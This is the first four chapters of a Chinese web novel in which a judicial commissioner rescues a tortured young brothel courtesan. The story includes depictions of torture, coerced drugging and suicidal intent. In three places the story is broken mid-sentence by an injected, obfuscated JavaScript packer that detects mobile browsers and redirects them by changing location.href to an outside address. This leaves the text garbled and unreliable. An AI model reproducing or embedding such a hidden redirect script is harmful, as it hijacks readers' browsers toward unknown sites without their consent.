《提刑司探案手札》 1. 第 1 章 楚恬已经记不得自己被关了多少个日夜了。 起初，他还能用脚尖蘸着地上的血画一个“正”字，可后来，他连抬脚的力气都没了。 周遭是看不见五指的漆黑，同时还充斥着刺鼻的霉臭味。楚恬的双手被铁链吊着，脚上也加了重重的镣铐，此时的他只剩下最后一口气。 快了，快解脱了。 这时，门却开了。紧接着，一道微弱的光线照了进来。 爬在楚恬脚边的老鼠受到了惊吓，瞬间跑回了洞里。 楚恬耷拉着脑袋，用尽力气才抬起眼皮，入目，是湿漉漉的石砖地面，而砖面上则画着密密麻麻的“正”字。 红色的“正”字歪歪扭扭，被地面涌上来的湿汽晕染后，已经快要瞧不出原本的字样。 “你这是何苦呢！” 来人是弄春楼的伙计平安，自楚恬被关地牢的这三个月，一直是由他给楚恬送饭。 说是饭，实则每天只有一顿撒有几粒粗粮的稀粥，勉强吊着楚恬的性命。 平安见楚恬身上唯一用来遮羞的粗布衣滑落在了地上，赶紧放下食盒，捡起衣裳围在了楚恬腰间。 弄春楼的尤二娘有一把折磨人的好手，凡是自她手底下过的，就没一个人能挺过三天。 而楚恬是个例外，他扛了整整三个月。 起因是楚恬自十二岁那年被卖到弄春楼以后，便收到了尤二娘的精心调教和细心培养，本想着等他满十五岁以后便去接待女客，可楚恬抵死不从，最后还是被灌了药后抬进客人房间的。 但没过一会儿，客人便怒气冲冲的找到了尤二娘，怒斥对方竟然给自己找了个废人。 尤二娘陪礼又赔钱，才勉强保住了自家招牌。从那以后，她也不让楚恬接客了，而楚恬也总算过了两年的安稳日子。 谁知，今年初夏，尤二娘开始给楚恬接起了男客，楚恬知道后，羞愤得当场撞了柱。 当初买楚恬可是花了不少的银子，加强这几年的吃喝住行，身为商人的尤二娘怎么也不可能让自己吃亏，她想再次用强，又担心好不容易才救回来的楚恬再去寻死。 虽说奴籍之人死了也就死了，但难免会影响到客源，她总不能赔人又赔钱。于是心下一合计，便将楚恬囚禁在了地牢之中。 除了身体上的鞭笞以外，更多的是对楚恬尊严的践踏。她命人将楚恬剥了个干净，然后像腊肉一样挂着，甚至还唤了一群人围观。 在尤二娘的淫I威下，她手底下的那些女儿和男倌们对楚恬进行了好一番调侃羞辱。 楚恬想死，可平安却劝他好死不如赖活着，活着才有希望。他还脱了自己的外裳将楚恬下半身裹住。 “楚恬，认命吧！”平安喂楚恬喝稀饭的时候再一次劝道。 楚恬苦笑，这就是他的命。 他不想这样毫无尊严的活下去，可偏偏又死不了。他试过绝食，但尤二娘有的是法子让他乖乖吃饭。 “二娘的耐心都快磨没了。”平安又道，“今儿个我还听她说要是你再这样的话，她就要对你用强了，反正你也不能帮她挣钱，还不如拿出去卖一晚，能赚回来一点儿是一点儿。” 楚恬听后一阵恶心，吐出来的浑浊黏液淌在地上，很快便将满地的“正”字模糊得没了字样，只留一片淡粉色的血迹。 “平安，帮帮我……”楚恬气若游丝。 平安看着他的眼神，立刻就明白过来楚恬打的什么主意，他吓得连连后退，颤巍巍地说道：“不，我不敢，二娘会剥了我的皮的！” “可是平安，现在只有你能帮我了。”楚恬哽咽地恳求着，“我不想靠承欢他人膝下而活着，只想干净的死去……我不要你亲自动手，只要不吃饭喝水，就我这副身子，挺不了几天的。” “可，我……”平安很害怕，但他也实在不忍心看着楚恬继续受苦，“你决定了？” “嗯。”楚恬声音不大，可平安却听得清清楚楚。 “二娘在你的身上费了不少心思，所以想把你卖个好价钱，但她还没有找到出得起好价钱的客人，才没有挂出你的牌子，而且今天她又买了些人回来让红姐调教，我可以让红姐找些理由缠着二娘，或许能帮你拖延几天，但最多也就五六天。”平安道。 “三天，三天就够了。” 或许都用不着这么久。 他的身体如何他自己最了解，要不是每日一碗稀饭一碗汤药维持着他的命，他早就可以死的。 “好。”平安比楚恬还要小两岁，他捏着袖口横揩了一把眼泪，提了食盒小跑着离开了。 门砰地一声被关上，地牢中再次陷入无尽的黑暗中。 虚弱的楚恬睡去又醒来，睁开眼仍是一片漆黑，他分不清白天还是黑夜，更不知距离平安上次来又过了多久。 老鼠再次靠近了楚恬，吱吱叫着的同时，尾巴扫过了他小腿上的伤口，楚恬下意识地动了一下，哐哐地铁链声响直接吓跑了老鼠。 地牢里又陷入了可怕的寂静，楚恬的呼吸慢慢变得绵长而又微弱。他以为自己即将睡去且不会再醒来的时候，他的胃和腹部却开始痉挛和抽痛。 楚恬叫呼痛的力气都没有，只有随着疼痛慢慢加重的呼吸声。 一会儿后，楚恬便开始迷糊起来，他做了很多个奇怪的噩梦，惊醒后又开始不停地抽搐着。 痛着痛着，楚恬却笑了。梦境让他分不清什么是现实，恍惚间，他看到了父母在光里微笑地朝他伸出了手。 楚恬兴奋地跑过去，却被地上的枯枝绊倒，当他好不容易站起来后，父母却消失了。 楚恬慌了，他呼喊着父母，可周遭却变得嘈杂起来，喧闹的声音盖过了他的哭喊声。 接着，砰地一声响起，同时楚恬周围的光消失了，他重新回到了暗夜里。 楚恬以为自己终于死了。 可当他缓缓睁开双眼，看到熟悉的门口涌进了一大片光亮，他的视线落在前方发霉的角落里，才知自己竟然还活着。 是尤二娘来了？ 楚恬彻底崩溃了。 楚恬慢慢抬起头朝门口看去，但他没等到尤二娘，却看到了一个身着锦衣华服的翩翩男子逆光出现在门口。 伫立在门口的男子愣了一下，显然是没有料到这么一个又脏又臭的地牢里竟然还囚着一人。 他抬手在鼻尖挥了一挥，但没什么用，地牢里恶臭的味道一个劲儿地往他鼻子里涌。手下见状递了张手帕给他，但他只是瞧了一眼。 手下悻悻地收回了手帕并捂住了自己的鼻子。 男子一个眼神示意，便又有两名手下拿出火折子点亮了地牢里的油灯。 小小的油灯在湿漉漉的地牢里照出了一道微弱的光圈，映出几近赤裸且全身污垢的楚恬。 男子缓步踱进了地牢，他那双以银丝勾勒出云纹的鹿皮靴踩在湿地上，发出啪嗒啪嗒的声音。 “还活着？”沈阔一手抱腰，另一只手的食指则搁在鼻尖上，淡声询问旁边的手下。 柳青上前探了楚恬的鼻息，又摸了他的人迎穴后朝沈阔点了点头。 沈阔抬眼，手下便将引他们来到此处的平安带了进来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852958|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他是谁，为何被关在这里？”沈阔问。 平安怯怯道：“回大人，他是我们这儿的男倌儿，因不服东家管教才关在此处思过的。” “思过？”柳青皱着眉头走回来，“这分明是要他死。” 平安不说话，也不敢看任何人。 “你是故意的。”沈阔一针见血。 平安嗫嚅着也没说出个所以然来。 柳青不解地看向主子，但沈阔未作解释，只是吩咐手下去将尤二娘带了过来。 尤二娘哪儿敢与提刑司作对，顺从地奉上了镣铐的钥匙。 沈阔的手下只顾开着锁，没注意到虚弱的楚恬根本站不住，随着束缚的解开，楚恬直接摔在了地上。 “你们这儿虽是烟花之地，不属提刑司管辖，但凡事都有个度，要是闹出了人命，那可就得去本官那里坐坐了。”沈阔摸着箭袖上的如意纹，压低声音说道。 “大人放心，奴家只是给他一个小小的教训而已，万不敢弄出人命来。”尤二娘赔笑道，“奴家这就找人将他抬回房好生照顾。” 见沈阔没有阻止，尤二娘便跑出地牢唤人去了。 趴在地上的楚恬听到谈话声，方知面前的男子竟然就是大名鼎鼎的提刑官沈阔。 楚恬抬起头，却连沈阔的脸也瞧不见，只有那双干净的玄色皮靴近在眼前。 沈阔见此处没什么可查的便欲撤人，可就在他转身的刹那，他感觉到鞋尖被轻轻碰了一下。 沈阔低下头，见楚恬抓着他的衣角，就这么一个小小的动作，似乎已费尽了他全部气力。 沈阔微微皱着眉头，想要抽脚躲开的时候，忽然发现蓬头垢面的楚恬却长着一双清亮的眸子。 再细细一看，他的五官皆为上乘，就连抓着自己衣角的手也是纤长且骨节分明，就是太瘦了显得有些皮包骨。 “大人——”柳青上前一步，欲将楚恬拖开，但沈阔却抬起手阻止了他。 接着，二人便听到楚恬用近乎蚊蝇般的细因恳求道：“求求大人，救救我……” 沈阔不屑，心道我凭何要救你？ 但他还没有来得及反问出口，楚恬就昏了过去。 这时，尤二娘带人赶了过来，沈阔退至一旁，看着他们像抬死猪一样抓起了楚恬的四肢。 “等等！”沈阔蓦地开口。 “大人还有个吩咐？”尤二娘笑呵呵地走过来。 “这人，本官带走了。”沈阔道。 众人皆是一惊，尤二娘刚准备开口，就听沈阔用不容置疑的嗓音说道：“本官追查嫌犯至此处，按理说弄春楼内人人皆有嫌疑，理应全部带回提刑司审问！” “大人，奴家冤枉啊！”尤二娘慌了，“奴家可是正经的生意人。” “是吗？”沈阔语气森森，“如此场面本官还是头一次见到，不得不说，你尤二娘的手段竟比提刑司有过之而无不及啊！若真是正经生意，又何需两人折磨成这副人不人鬼不鬼的模样，其中缘由，本官须仔细盘问，你有异议？” 未能说出口的话被尤二娘生生咽回了肚子，只因对方提刑官，尤二娘不敢造次，只得吃了这哑巴亏，“大人说什么就是什么，奴家哪儿敢有异议，只是怕手底下的人脏，污了大人的府邸，要不等奴家将人收拾干净了再送过去？” 沈阔一记眼神丢过去，尤二娘顿时噤了声，然后暗戳戳地让人将楚恬给放下了。 沈阔瞥了一眼楚恬，命柳青脱下外裳后，扔过去盖在了楚恬的身上。 “带走！”沈阔一声令下，便有衙役上前将楚恬扛了起来。 2. 第 2 章 楚恬醒来时，是在三日后的一个傍晚。 映入眼帘的一切都是那么陌生，楚恬回忆了许久，才忆起昏迷前所发生的事。 当时，楚恬并未对沈阔抱有太大期望，没想到，他真的救了自己。 只是不知他将自己安顿在了何处。 躺在榻上的楚恬努力了很久才坐起身来，他环顾着四周，最后将目光移向了窗外的院子中。 初秋的夕光如同轻纱般从天边铺撒而下，将院中的所有渡上了一层柔和的光圈。 夕阳之下，绿茵从中，一道身影轻如燕，跃起，出招，长枪破风时发出阵阵空响。 楚恬的视线一动不动，对方的每一招每一式都仿佛定格在了他的眸中。 “呀，你醒了！”一女子端着盆水进来，看到楚恬后明显一愣。 回过神的楚恬拘谨地向后一缩，哑声询问道：“请问姑娘，这是何处？” 女子将盆放在榻前的凳子上，拧了脸帕给楚恬擦手，“这是提刑司，我是这里的丫鬟，你叫我云儿就好。” “多谢云姑娘。”楚恬不习惯被人伺候，于是从云儿手里接过脸帕自己擦了起来。 洗完后，云儿又对楚恬道：“你且待在榻上不要乱动，我这就去禀告大人你醒了。”说罢，也不等楚恬回应，云儿便端着盆自顾走出了屋子。 接着，楚恬便看见她走到院中对那个正在练武的男子说了几句。 沈阔收了招式，转过身将目光投向了楚恬所在的方向，又跟云儿说了几句话后便将练武所用的长枪放回了武器架上。 接着，沈阔大步流星地朝这边走了过来。 楚恬如坐针毡，在榻上蠕动了一会儿后又故作起了镇定。 沈阔一进门，便看见了抱着双膝坐在角落里的楚恬。 “醒了？”沈阔立在楚恬榻前。 楚恬瞧了沈阔一眼又慌忙垂下头，浅浅地回了一个“嗯”字。 “可感觉还有何处不适？” “多谢大人——” 两人几乎同时出声，但楚恬先掐断了话，及时改口道：“奴感觉好多了，多谢大人相救。” 说着，楚恬就要起身叩头，察觉到他动机的沈阔忙按住了他的肩头，“举手之劳，你还有伤在身，不要乱动。” 一股热气瞬间朝楚恬袭了过来，然后慢慢将他笼罩。 “是。”楚恬诺诺地应着声，而沈阔收手退身的时候，他清晰感觉刚刚朝自己笼罩过来的热气在慢慢散去。 楚恬已经很久没有感受到如此温热的气息了，而这气息无端让他觉得安心。 他想仔细看一下自己的救命恩人，可又碍于自己卑贱的身份不敢妄自抬头。 沈阔负手居高临下的看着楚恬，对方像是一只受了惊吓的小猫，瑟缩着身体，一动也不敢动。 他转身坐在凳子上，将身前的衣摆整理得一丝不苟，随即淡声开口：“你是如何落的这般境遇？” 楚恬实是难以启齿，他这才且怯生生的瞄了沈阔一眼，见对方神色威严，知道避无可避才将自身经历全盘托出，但又自觉可耻，便隐去了个中细节。 倒也是个可怜人。 可沈阔不是救世主，世上像楚恬这般遭遇的人太多了，他救不过来。 于是又问：“那今后有何打算？” 楚恬明白沈阔话中含义，他可以救自己一命，却不能留下自己。 “奴为贱籍，一切都由不得自己做主，且奴的卖身籍还在尤二娘手中，想来除了回弄春楼也无处可去了。” 楚恬的话无疑有博取沈阔怜悯之意，而沈阔自然也听出来了，但他不是圣人。 “这几日你先暂且留在提刑司，等伤好了再说。”沈阔起身。 “多谢大人！”楚恬跪在榻上行了叩首。 楚恬有些失落，但这就是现实。 沈阔看着楚恬瘦削的身躯，想说什么却终是没有说出口。 听到脚步声渐渐远去，楚恬才缓缓起身，看着那道挺拔的身姿，他羡慕不已。 提刑司的人皆知道楚恬的来历，因而除了专门派来照顾他的云儿外，别的人都不愿搭理他。 楚恬虽是受了很重的皮肉伤，但好在没什么内伤，只是留下了胃痛的病根。而年轻的身体恢复得很快，未消半月，他已能活动自如了。 而这半月里，楚恬也没站着，力所能及的帮云儿做了很多活，两人很快就成为了好朋友，云儿也跟他说了很多关于沈阔的事。 除了众所周知的沈阔深得东宫器重以外，还有些关于沈阔的小癖性，比如喜净。 听到这个，楚恬悬着的心终于死了，像他这种从泥沼里爬出来且满身污垢的人，注定无法靠近沈阔这般谪仙。 楚恬已经做好了离开的准备，但只要沈阔没有亲自开口，提刑司的人便不敢撵他走，而他便可以厚着脸皮赖在此处。 为了给所有人留下一个好印象，楚恬主动揽了很多活，因此都觉得他是个软弱可任由拿捏之人，于是便有几个奸懒馋滑者将自身的活务全抛给了楚恬。 包括给沈阔打扫书房和卧房。 楚恬谨记沈阔喜欢干净一事，将所有的一切都整理得井井有条。 因而在楚恬打扫完的某日，沈阔在踏进卧房的一刹那，便察觉出了异常。 一切都没变，但他直觉今日给他打扫房间的与之前的不是同一人。 虽觉奇怪，但近日公务缠身，沈阔很快就将此事抛诸脑后。又过了两日，他提前回来去书房时，远远地便看见一道弱小的身影迅捷地从窗前一闪而过。 差点就被发现了！ 楚恬靠在围墙角落里拍着胸脯暗自庆幸，都怪他痴迷于沈阔书房内的书籍，一时间看得忘了神，要是沈阔知道后，定会毫不犹豫地将他赶出去。 楚恬自以为躲开了沈阔，殊不知此时的沈阔普通一只捕猎食物的凶狼蛰伏在墙上。他凌厉的双眼落在楚恬的身上良久，才从墙头跳下折回了书房。 沈阔天生警惕性强，他立刻唤来柳青将楚恬出现在自己书房的原因查了个清楚，且对沈阔是否真的只是来打扫房间一事存疑。 要搁往常，沈阔定会严厉责罚下人，但为了探清楚楚恬的真正目的，他打算睁一只眼闭一只眼。 手底下的小厮见主子没有降怒，便愈发地胆大起来，但他们同时也发现主子回来的次数越发的频繁了。 而沈阔每次回来的时候，都会发现楚恬惊恐地逃离他的书房或者卧房。 又过了几日后，沈阔将楚恬堵了个正着。 这让两人都倍感意外，沈阔以为楚恬会跑，楚恬却完全没有察觉到沈阔的靠近。 “大人……”心虚的楚恬跪在地上不敢抬头。 沈阔理好思绪径自走到书桌后，看到桌上的东西全都整整齐齐地摆放着，并未有翻动过的痕迹，唯一有异常的是楚恬自己。 他见楚恬将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852959|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手背在身后，脸色一沉，伸手道：“拿来！” 楚恬微顿，接着怯怯地将藏在身后的书拿了出来。 沈阔看见他手上拿着的《宋槐游记》后很是意外，“你识字？” 楚恬点了点头，“幼时学过一些，之后到了弄春楼的时候，红姐也教过我。”虽不想承认那里的经历，但事实确是如此。 沈阔反应过来，以色侍人者，多多少少会学点儿琴棋书画来取悦客人，识字倒也正常。 “所以，你每次见我就跑是怕我瞧见你在偷翻我的书？”沈阔的语色柔和了些许。 楚恬点了点头，随即又摇了摇，“也不完全是。” 其实楚恬没必要解释的，因为无论是何缘由，他一个借住在此地的外人是万万没有资格进入主人的房间的，尤其还是书房这等重地。 但因沈阔救过他性命，他不想对他有所隐瞒。 “云姑娘说大人爱干净，可奴卑贱且肮脏，怕大人见了心生不悦，亦不想给大人惹来晦气。” 这话让沈阔感到惊讶，他只当是楚恬心怀鬼胎亦或自己长得太过吓人的缘故才让他慌张逃离，却没想到竟是这个原因。 “在你的心中，我就是这般小心眼的人？”沈阔半信半疑。 “不是不是。”楚恬赶忙解释，“是奴自己这样想的，在奴的心中，大人是这世上最好的人。” “最好的人？”沈阔发笑。 “是。”楚恬笃定道，但很快他又改了主意，“大人是除了奴的阿爹阿娘外，最好的人。” “呵！”沈阔不知该气还是笑。 沈阔坐在椅子上，神态放松了许多，看到跪成一团的楚恬，又看了眼从他手里拿过来的游记，他问楚恬：“之前问过你今后的打算，你可想好了？” 楚恬瞬间泄了气，他果真是触到了沈阔的逆鳞，这不，都要赶他走了。 虽然伤心，但犯了错就得认，不过他还是抱着最后一丝希望恳求着沈阔，“弄春楼奴是不愿再回去的，俗话说救人救到底送佛送到西，大人既然肯救奴性命，想来则不愿见到奴重回火坑，大人贵为提刑官，应该认识很多达官贵人，所以奴恳请大人将奴发卖给一处好的东家，让奴免受皮肉之苦，至于从弄春楼赎身的钱，奴只能以今生所有的工钱来偿还大人。” 沈阔听得一愣，反问道：“这么说你不愿意留再提刑司了？” 楚恬怔了怔，猛然抬起头，他的眼底肉眼可见地凝聚起波光，反应过来的他兴奋得连话都说不利索了。 “大人的意思是，愿意将奴留在提刑司？” 沈阔原本还想试探一下楚恬，但见他这般惊喜的模样，实是不忍再逗趣他。 “你若是愿意的话……” “奴愿意！”不等沈阔把话说完，楚恬便开始猛磕起头，“奴愿一生伺候大人，以抱大人再造之恩！” 听着楚恬磕头的声音，沈阔都觉得额头疼，他赶紧制止了楚恬。 也罢！反正瞧他这小身板也吃不了多少，无非就是多双筷子而已。况且，他对楚恬的疑心未消，留在身边监视反而比放出去好。 “以后，我的卧房和书房都由你来打扫，一概不准假借他人之手！” “是！奴遵命！” “还有，不准再自称奴了。” “是，奴……小人遵命。” “小人听着也刺耳。” “那，我？” “可以。” 3. 第 3 章 沈阔派人去弄春楼赎回楚恬卖身契的时候，尤二娘并不打算给，甚至想从沈阔身上讹一笔。 “官爷啊！”尤二娘将手绢一抛，顺势就坐在了地上，“奴家在那厮身上可是费了不少功夫的啊，且不说为了培养他所花费的人力和物力，光这五年他在吃穿用度上就耗费了奴家一大笔银钱呢！” 尤二娘的哭嚎声引来了不少人围观，但碍于沈阔的权势，无一人敢帮腔。 “沈大人可不能仗着自己是朝廷命官，就随意欺压我们普通百姓吧！” 柳青并未理会尤二娘的撒泼打滚，他让人呈上五十两纹银放在桌上，自顾道：“当初你买楚恬时花了五两银子，这五年间他的开销虽然都是你所出，但每年最多也不会超过三两，五年的话拢共十五两，我家大人仁厚，知你养个人不容易，另送三十两作为辛苦费，尤二娘，你怎还不知足呢？” 尤二娘的搂搜是出了名的，连那三两都算多的。可尤二娘是个皮条客，她的算法却不同，像楚恬这样姿色的男倌儿若是将客人伺候高兴了，一个晚上就能得好几两的打赏，这样一比较，区区五十两自然入不了她的眼。 这样的事若放在寻常官员身上，他们定会害怕有损名声而妥协，但沈阔却不吃这套，所谓的道德要挟不了他丝毫。 柳青是来办事的，而不是听尤二娘哭诉的，他掏了掏耳朵，微眯着眼睛道：“话我已经说完了，卖身契你究竟给不给？若是不给，那我可就让人去搜了，届时碰着你什么珍贵的物件儿，或者伤着你哪位姑娘的话，可别怪我！” “苍天呐，还有没有王法啊！”尤二娘哭得更大声了。 但弄春楼里也有识时务的人，被众人奉为大姐的红儿凑近尤二娘劝道：“二娘，对方可是提刑司的人，您再怎么闹也讨不着丁点儿好处，若是将那位提刑官惹恼了，咱可就吃不了兜着走了，人家可是太子跟前的红人，随随便便一句话就能将我等碾成碎泥，二娘，您就认亏吧，就当免灾了。” 红儿的话并无半点夸张，世人可以不了解朝堂沉浮，却不得不知晓沈阔所掌握的权势究竟有多大。 事情还要从十七年前说起，彼时罪太子意图逼宫谋反，好在其近侍苗三圃及时向先帝告了密，被捅破了阴谋的罪太子一家自然没什么好下场，之后便立了三皇子为太子，太子登基为帝后，大功臣苗三圃自然而然地得到了重用。 不曾想苗三圃也是个有着蓬勃野心之人，竟妄图架空皇帝独揽皇权，由于苗三圃的胡乱施政，简直搅得庆国上下乌烟瘴气，民不聊生，为救民于水火，保江山稳固，一年前太子祁越与彼时身为锦衣卫统领的沈阔合谋灭了苗三圃一党。 而皇帝自知上愧列祖列宗，下愧黎民百姓，自此便移驾行宫潜心修道为国祈福，不再过问国事，一切交由东宫打理。 但苗三圃历经十几年的苦心经营，早已将心腹遍插于各司衙之中，盘根错节，非是一两天所能清楚干净的。且苗三圃余党贼心不死，常制造各种离奇命案扰乱民心，并试图动摇国本。 在此背景下，太子设立了由他直辖的提点刑狱司，升任心腹沈阔为提刑官掌刑狱之事，拥独立之权，不受三司所束，只为肃清残党余孽，重振朝纲，还盛世清明。 沈阔倒不是那种以权谋私之人，只因其行事手段狠厉，凡是进了提刑司的人，就没一个全乎着走出来的，百姓见之色变闻之丧胆，久而久之，那提刑司便成了百姓口中的阎罗殿，而沈阔在他们眼中就是纯纯一活阎罗。 也就尤二娘这种泼皮无奈敢当众撒野了。 但尤二娘也只敢做做样子，硬碰硬的话她是万万不敢的，于是在红儿的一番劝说下，尤二娘分析了利弊后便在红儿的搀扶下不情不愿了站了起来，随后从怀里掏出了楚恬的卖身契。 柳青展开确认无误后又折好放进了腰间，接着便马不停蹄地回提刑司复命。 柳青去到沈阔书房的时候，后者正坐在矮几后练字，而楚恬就跪坐在一旁，安安静静地帮他磨墨。 柳青将楚恬的卖身契呈给沈阔，沈阔看了一眼后顺手就递给了楚恬。 楚恬微愣，不可置信地看了沈阔一眼，然后道：“既是大人替我赎的身，那这卖身契理应由大人保管。” 沈阔看着楚恬没说话，接着便将那份契约放到油灯上点着了。 “大人！” “大人……” 柳青和楚恬同时惊呼出声，沈阔却不以为意地扫了两人一眼，漫不经心道：“怎么了？” 楚恬欲言又止，柳青则直接给沈阔递了个眼色，“大人，属下有要事禀报！”说着还有意无意地瞟了楚恬一眼。 “大人，我去厨房看看药熬好了没。”楚恬起身道。 沈阔点了点头，“去吧！” 待楚恬走远后，沈阔问柳青：“说吧，什么事！” 柳青靠近沈阔，半个身子都趴在了桌案上，正欲说出心中疑虑时，却猝不及防地被沈阔敲打了下去。 柳青知道自己又犯了主子的禁忌，便也没有放在心上。 “大人，您怎么就把他的卖身契给烧了？”柳青压低声音问沈阔，“要是他跑了怎么办？” “您那五十两不就打水漂了吗？” 感情柳青在意的是那笔钱，沈阔理好的思绪就这样被柳青给搅和了，原本还想跟他分析一番自己的打算，现在看来，也没那个必要了。 “他不会。”沈阔直言。 “怎么就不会了！”柳青急道，“像他这种人惯会撒谎蛊惑人心，这边将您哄着，指不定另一头打起了什么糟心的主意呢！大人您可千万别被他给骗了……” 沈阔的耳朵里装满了柳青的唠叨，他忍不了了，“你家大人我是那么容易被人哄骗的人吗？” “那倒不是。”柳青将手揣在袖中，“但就怕对方太过手段高明，您一个不小心就着了对方的道。况且属下瞧着那小子生得虽不是国色天香之貌，但却有着一双极其勾人的眼睛，属下都不敢一直盯着他看。” “说完了没？”沈阔的耐心被耗尽，“说完了就滚出去做事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852960|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 柳青耸耸肩，“自从上次的线索断了之后就没寻着新的线索了，属下也无从下手了。” “大公主宫中丢失的财物都找回来了？”沈阔反问。 “那、那倒还没有。但是大人，我们是提刑司啊，财物丢失不应该是京兆府的差事吗，怎么这么小的事儿也要我们管啊！”柳青抱怨道。 沈阔盯了柳青一眼，后者识趣地闭上了嘴，“属下这就去办，抓紧办！” “对了，大人，对那姓楚的，您可千万要留着点儿心眼儿。”柳青走了几步仍是不放心，又折了回来。 “滚！” “好嘞！” 柳青前脚刚走，楚恬就回来了。他靠近沈阔的时候，沈阔能清楚地闻到他身上那股淡淡的药香。 楚恬拿起墨石，刚准备继续磨的时候，沈阔瞧见他手腕上还没有完全消散的淤青，道：“不用磨了。” “是。”楚恬淡淡应声，收回手静静地跪坐在一旁。 沈阔见他总是这般拘谨且毫无生气，连带着屋内都总是弥漫着一股死气沉沉，为了缓和气氛，于是随口问了一句，“你既识字，那会写吗？” 楚恬点头回道：“会，但写得不好。” 沈阔来了兴趣，将笔递给楚恬，“写一个我看看。” 楚恬有些羞涩，但还是顺从地接过笔，并在沈阔那张非常昂贵的宣纸上画了两个字。 沈阔看看纸上的字，再看看楚恬，心疼纸的同时又觉得楚恬还算诚实。 “你的名字。”笔画顺序都不对，但好在有些形似，沈阔还是能认出来的。 楚恬点头，怕沈阔笑话自己，于是红着脸解释：“尤二娘说，我们只需要懂点儿诗词就行，不需要有太多的学问，所以也就没什么机会练字。” 沈阔理解，并随口安慰他：“你的悟性不错，就是顺序不对，若是假以时日，定会有所精进。” “真的？”楚恬欣喜不已。 沈阔微愣，然后点了头。 自信起来的楚恬话也跟着多了起来，他颇有信心地在纸上又画了两个字，并试图按照正确的顺序写出来，但无济于事。 “其实，在我小的时候，我阿爹有教过我写字。”回忆往事的时候，楚恬脸上浮现出淡淡的忧伤，同时又洋溢着一抹幸福，“只是我们为了生计常年四处奔波，有时候好几天都吃不到一顿饱饭，所以我也就没有心思学这些东西，只觉得无用。” 说完，楚恬竖着举起宣纸给沈阔展示他写的字，楚恬从宣纸后面探出半张脸来，俏皮地说道：“现在想想，着实有些后悔。” 沈阔的视线从楚恬的脸上移到宣纸上，“沈阔”两个字被楚恬写得歪歪扭扭，但能看出他每一笔都写得非常认真，甚至过于用力，使得漆黑的墨穿透了白纸。 沈阔的思绪有些飘忽，在他模糊地视线里，那两个像蚂蚁一样的字忽地动了起来，好似爬到了他的心坎上，让他觉得有些难受。 而他将这种奇怪的感觉归咎于楚恬字太丑的缘故。 4. 第 4 章 楚恬在提刑司住了一个月，脸色肉眼可见地变好了很多，人也有了精气神。 但因胃疾的缘故，他的食欲不怎么好，所以没怎么长肉。 平日里，他除了给沈阔打扫卧房和书房以外，便没什么事情可做了。他的空闲时间很多，便打算用来练字。只不过写来写去，仍是丑态百出，他本想寻个先生教他，可会写的不太愿意搭理他，唯一跟他处得好的云儿又大字不识几个。 慢慢地，楚恬对练字也就提不起兴趣了。 可这样一来，楚恬就更闲了，云儿有自己的事情要做，楚恬便只好独自待着。而他最喜欢的就是蹲在墙角下，静静地仰望着头顶的那方天空。 有时候，一看就是几个时辰。 “大人，那盗贼着实狡猾，没有留下任何可供追踪的痕迹，属下都几乎都把整个京城翻了个底儿朝天，还是连对方的影子都没摸到。” 柳青亦步亦趋地跟在沈阔身后，“属下查了这么些天，却连对方身形样貌如何，是男是女都不知道。” 沈阔偏头瞪了柳青一眼，“查了快一个月了，一点儿线索没找到，你还有脸说？” 柳青理不直气却壮，他梗着脖子道：“大人明明知道属下就不是查案的这块料，还非让属下独自去查，不正是因为大人也不想管这件小事么......” 柳青叽里呱啦抱怨了一大堆话，说完才发现主子没了回应，扭头一看，发现沈阔早已偏离方向，朝着一处角落走了过去。 丈高的绿丛遮挡住了视线，柳青只瞧见绿丛那头有一道隐隐绰绰的影子，具体为何物也看不真切，于是他的左手立刻摸上了腰间的佩刀，右手则慢慢搭上了刀柄，微躬着身子，一步一顿地朝着那影子走去。 “你蹲在此处作甚？”沈阔看到是楚恬后，慢慢放松了警惕。 “大人，您回来了！”楚恬微微有些惊讶，毕竟提刑司不是沈阔的府邸，有时他离开了之后好几天都不曾回来，看到柳青严肃的神情，他赶忙解释，“不知从哪里跑来了一只野猫，饿得直叫唤，我便寻了些馒头碎屑喂它。” 说着，楚恬便将猫搂起来给两人看。 沈阔和柳青同时将目光落在了那只黑猫的身上。 “嘿，还真巧了。”柳青松了手，随即大步流星地跨到楚恬面前，捏着猫的后脖颈抓了过来，对沈阔道，“大人，属下那屋一直闹老鼠，那这猫属下拿走了。” 楚恬好不容易寻着个解闷的伴，本来打算自己养着，转念一想，连自己都是吃的人家的，根本没有那个资格去争抢猫的所属权，加上沈阔朝柳青扬了下颔，算是同意了柳青的请求，他也就不便再开口了。 柳青抱着猫兴冲冲地走了，丝毫没有注意到主子脸上的嫌弃已经溢于言表了。 